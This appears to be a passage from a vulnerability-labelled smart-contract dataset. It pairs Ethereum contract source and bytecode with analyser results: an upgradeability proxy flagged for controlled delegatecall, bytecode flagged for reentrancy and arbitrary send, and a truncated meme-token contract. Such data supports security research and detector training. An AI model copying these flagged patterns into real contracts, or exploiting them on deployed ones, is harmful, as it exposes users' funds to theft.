ffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e68600284611d5290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e93573d6000803e3d6000fd5b5050565b6000600654821115611ede576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed590612efc565b60405180910390fd5b6000611ee861221d565b9050611efd8184611d5290919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f3d57611f3c613428565b5b604051908082528060200260200182016040528015611f6b5781602001602082028036833780820191505090505b5090503081600081518110611f8357611f826133f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561202557600080fd5b505afa158015612039573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061205d9190612924565b81600181518110612071576120706133f9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120d830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112e9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161213c959493929190613057565b600060405180830381600087803b15801561215657600080fd5b505af115801561216a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b8061219b5761219a612248565b5b6121a6848484612279565b806121b4576121b3612444565b5b50505050565b60008083118290612201576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f89190612eba565b60405180910390fd5b506000838561221091906131c8565b9050809150509392505050565b600080600061222a612456565b915091506122418183611d5290919063ffffffff16565b9250505090565b600060085414801561225c57506000600954145b1561226657612277565b600060088190555060006009819055505b565b60008060008060008061228b876124b5565b9550955095509550955095506122e986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256790919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ca816125c5565b6123d48483612682565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612431919061303c565b60405180910390a3505050505050505050565b600a6008819055506000600981905550565b600080600060065490506000670de0b6b3a7640000905061248a670de0b6b3a7640000600654611d5290919063ffffffff16565b8210156124a857600654670de0b6b3a76400009350935050506124b1565b81819350935050505b9091565b60008060008060008060008060006124d28a6008546009546126bc565b92509250925060006124e261221d565b905060008060006124f58e878787612752565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061255f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c73565b905092915050565b60008082846125769190613172565b9050838110156125bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125b290612f3c565b60405180910390fd5b8091505092915050565b60006125cf61221d565b905060006125e68284611cd790919063ffffffff16565b905061263a81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461256790919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126978260065461251d90919063ffffffff16565b6006819055506126b28160075461256790919063ffffffff16565b6007819055505050565b6000806000806126e860646126da888a611cd790919063ffffffff16565b611d5290919063ffffffff16565b905060006127126064612704888b611cd790919063ffffffff16565b611d5290919063ffffffff16565b9050600061273b8261272d858c61251d90919063ffffffff16565b61251d90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061276b8589611cd790919063ffffffff16565b905060006127828689611cd790919063ffffffff16565b905060006127998789611cd790919063ffffffff16565b905060006127c2826127b4858761251d90919063ffffffff16565b61251d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127ee6127e9846130f1565b6130cc565b905080838252602082019050828560208602820111156128115761281061345c565b5b60005b858110156128415781612827888261284b565b845260208401935060208301925050600181019050612814565b5050509392505050565b60008135905061285a81613749565b92915050565b60008151905061286f81613749565b92915050565b600082601f83011261288a57612889613457565b5b813561289a8482602086016127db565b91505092915050565b6000813590506128b281613760565b92915050565b6000815190506128c781613760565b92915050565b6000813590506128dc81613777565b92915050565b6000815190506128f181613777565b92915050565b60006020828403121561290d5761290c613466565b5b600061291b8482850161284b565b91505092915050565b60006020828403121561293a57612939613466565b5b600061294884828501612860565b91505092915050565b6000806040838503121561296857612967613466565b5b60006129768582860161284b565b92505060206129878582860161284b565b9150509250929050565b6000806000606084860312156129aa576129a9613466565b5b60006129b88682870161284b565b93505060206129c98682870161284b565b92505060406129da868287016128cd565b9150509250925092565b600080604083850312156129fb576129fa613466565b5b6000612a098582860161284b565b9250506020612a1a858286016128cd565b9150509250929050565b600060208284031215612a3a57612a39613466565b5b600082013567ffffffffffffffff811115612a5857612a57613461565b5b612a6484828501612875565b91505092915050565b600060208284031215612a8357612a82613466565b5b6000612a91848285016128a3565b91505092915050565b600060208284031215612ab057612aaf613466565b5b6000612abe848285016128b8565b91505092915050565b600060208284031215612add57612adc613466565b5b6000612aeb848285016128cd565b91505092915050565b600080600060608486031215612b0d57612b0c613466565b5b6000612b1b868287016128e2565b9350506020612b2c868287016128e2565b9250506040612b3d868287016128e2565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b6881613287565b82525050565b612b7781613287565b82525050565b6000612b888261312d565b612b928185613150565b9350612b9d8361311d565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613143565b925050600181019050612ba1565b5085935050505092915050565b612be481613299565b82525050565b612bf3816132dc565b82525050565b6000612c0482613138565b612c0e8185613161565b9350612c1e8185602086016132ee565b612c278161346b565b840191505092915050565b6000612c3f602383613161565b9150612c4a8261347c565b604082019050919050565b6000612c62602a83613161565b9150612c6d826134cb565b604082019050919050565b6000612c85602283613161565b9150612c908261351a565b604082019050919050565b6000612ca8601b83613161565b9150612cb382613569565b602082019050919050565b6000612ccb602183613161565b9150612cd682613592565b604082019050919050565b6000612cee602083613161565b9150612cf9826135e1565b602082019050919050565b6000612d11602983613161565b9150612d1c8261360a565b604082019050919050565b6000612d34602583613161565b9150612d3f82613659565b604082019050919050565b6000612d57602483613161565b9150612d62826136a8565b604082019050919050565b6000612d7a601783613161565b9150612d85826136f7565b602082019050919050565b6000612d9d601183613161565b9150612da882613720565b602082019050919050565b612dbc816132c5565b82525050565b612dcb816132cf565b82525050565b6000602082019050612de66000830184612b6e565b92915050565b6000604082019050612e016000830185612b6e565b612e0e6020830184612b6e565b9392505050565b6000604082019050612e2a6000830185612b6e565b612e376020830184612db3565b9392505050565b600060c082019050612e536000830189612b6e565b612e606020830188612db3565b612e6d6040830187612bea565b612e7a6060830186612bea565b612e876080830185612b6e565b612e9460a0830184612db3565b979650505050505050565b6000602082019050612eb46000830184612bdb565b92915050565b60006020820190508181036000830152612ed48184612bf9565b905092915050565b60006020820190508181036000830152612ef581612c32565b9050919050565b60006020820190508181036000830152612f1581612c55565b9050919050565b60006020820190508181036000830152612f3581612c78565b9050919050565b60006020820190508181036000830152612f5581612c9b565b9050919050565b60006020820190508181036000830152612f7581612cbe565b9050919050565b60006020820190508181036000830152612f9581612ce1565b9050919050565b60006020820190508181036000830152612fb581612d04565b9050919050565b60006020820190508181036000830152612fd581612d27565b9050919050565b60006020820190508181036000830152612ff581612d4a565b9050919050565b6000602082019050818103600083015261301581612d6d565b9050919050565b6000602082019050818103600083015261303581612d90565b9050919050565b60006020820190506130516000830184612db3565b92915050565b600060a08201905061306c6000830188612db3565b6130796020830187612bea565b818103604083015261308b8186612b7d565b905061309a6060830185612b6e565b6130a76080830184612db3565b9695505050505050565b60006020820190506130c66000830184612dc2565b92915050565b60006130d66130e7565b90506130e28282613321565b919050565b6000604051905090565b600067ffffffffffffffff82111561310c5761310b613428565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061317d826132c5565b9150613188836132c5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131bd576131bc61339b565b5b828201905092915050565b60006131d3826132c5565b91506131de836132c5565b9250826131ee576131ed6133ca565b5b828204905092915050565b6000613204826132c5565b915061320f836132c5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132485761324761339b565b5b828202905092915050565b600061325e826132c5565b9150613269836132c5565b92508282101561327c5761327b61339b565b5b828203905092915050565b6000613292826132a5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132e7826132c5565b9050919050565b60005b8381101561330c5780820151818401526020810190506132f1565b8381111561331b576000848401525b50505050565b61332a8261346b565b810181811067ffffffffffffffff8211171561334957613348613428565b5b80604052505050565b600061335d826132c5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133905761338f61339b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375281613287565b811461375d57600080fd5b50565b61376981613299565b811461377457600080fd5b50565b613780816132c5565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122069df098a5e1ad8405d2a5f2efe8768640b5d5d30e3b511db0b78d3341fddca7064736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,436 |
0xAa03F14F557B5310f616fae406b055399F982F28
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() virtual internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() virtual internal;
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract
return;
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
abstract contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() override internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() virtual override internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
//super._willFallback();
}
}
interface IAdminUpgradeabilityProxyView {
function admin() external view returns (address);
function implementation() external view returns (address);
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
//function _willFallback() virtual override internal {
//super._willFallback();
//}
}
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal {
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _admin, address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
|
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
| 4,437 |
0x915c1AB70CEf43F7807634590dbD372E58ebF8A9
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract GorillaGlueInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GorillaGlueInu";
string private constant _symbol = "GGI";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 420000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 4;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 16800000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _Marketingfund;
address payable private _Deployer;
address payable private _devWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable devfeeAddr, address payable depAddr) {
_Marketingfund = devFundAddr;
_Deployer = depAddr;
